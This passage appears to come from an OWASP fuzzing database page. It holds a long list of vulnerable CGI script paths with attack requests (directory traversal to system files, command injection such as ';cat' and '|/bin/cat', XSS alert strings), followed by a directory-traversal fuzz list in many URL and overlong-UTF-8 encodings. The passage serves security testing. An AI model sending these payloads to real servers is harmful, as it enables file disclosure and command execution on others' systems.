gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> 